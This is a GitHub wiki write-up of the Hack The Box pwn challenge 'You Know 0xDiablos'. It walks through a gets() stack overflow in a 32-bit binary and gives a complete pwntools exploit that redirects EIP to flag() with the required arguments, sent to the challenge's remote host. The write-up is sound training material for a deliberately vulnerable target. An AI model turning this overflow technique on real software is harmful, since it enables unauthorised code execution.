HTB You Know 0xDiablos writeup - Pez1181/CTF GitHub Wiki

HTB Write-up: You Know 0xDiablos

Challenge Type: Pwn / Stack Overflow
Difficulty: Beginner Friendly
Vulnerability: Stack-based Buffer Overflow
Protection Bypassed: No Canary, NX Disabled, No PIE


🔍 Recon

file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
checksec vuln
RELRO: Partial
Canary: No
NX: Disabled
PIE: No

A highly exploitable binary — no canary, no PIE, NX disabled, and unstripped symbols.


⚖️ Vulnerability Analysis

Decompiling main reveals it prints a welcome message and calls a function named vuln().

In vuln(), we see the use of gets() with a buffer located at [ebp - 0xb8]:

lea eax, [ebp-0xb8]
push eax
call gets

This gives us:

  • A buffer overflow opportunity (184 bytes to EBP)
  • The ability to control EIP by overflowing the stack

We determine the offset to EIP using a cyclic pattern:

cyclic 300
# Run and crash
cyclic -l <EIP>

➡️ Offset = 188 bytes


⚙️ Exploit Strategy

We identify a target function named flag() using r2:

r2 ./vuln -qc "aaa; afl~flag"
0x080491e2    8 144          sym.flag

Decompiling flag() shows:

cmp dword [ebp+8],  0xdeadbeef
jne fail
cmp dword [ebp+0xc], 0xc0ded00d
jne fail

So in order to execute flag() and trigger the flag output, we must:

  • Overwrite EIP with flag()
  • Provide arguments on the stack:
    • arg1 = 0xdeadbeef → [ebp+8]
    • arg2 = 0xc0ded00d → [ebp+0xc]

🧠 cdecl calling convention = arguments are pushed right-to-left. So:

[188 bytes buffer] [EIP → flag()] [ret addr] [arg1] [arg2]

🚀 Exploit Code

from pwn import *

context.binary = './vuln'
context.arch = 'i386'

offset = 188
flag_addr = 0x080491e2
arg1 = 0xdeadbeef
arg2 = 0xc0ded00d

payload = b"A" * offset
payload += p32(flag_addr)
payload += b"AAAA"            # Return address after flag (not used)
payload += p32(arg1)          # Argument 1 (ebp+8)
payload += p32(arg2)          # Argument 2 (ebp+0xc)

# Remote challenge
p = remote('83.136.249.199', 46959)
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='ignore'))

🔌 Example Output

HTB{buffered_doom_is_best_doom}

📌 Final Notes

  • gets() = unbounded input = stack overflow
  • 32-bit binary uses cdecl: args go right-to-left
  • p32() handles little-endian formatting automatically
  • interactive() avoided as no shell was required — we only needed output
  • Input size validated remotely using trial increments — payload length up to 240 accepted

🌟 Summary

Stack overflow via gets()
EIP redirected to flag()
Correct arguments placed on the stack
Remote and local exploits matched
Flag retrieved successfully

Mission complete. Diablos Deleted!

⚠️ **GitHub.com Fallback** ⚠️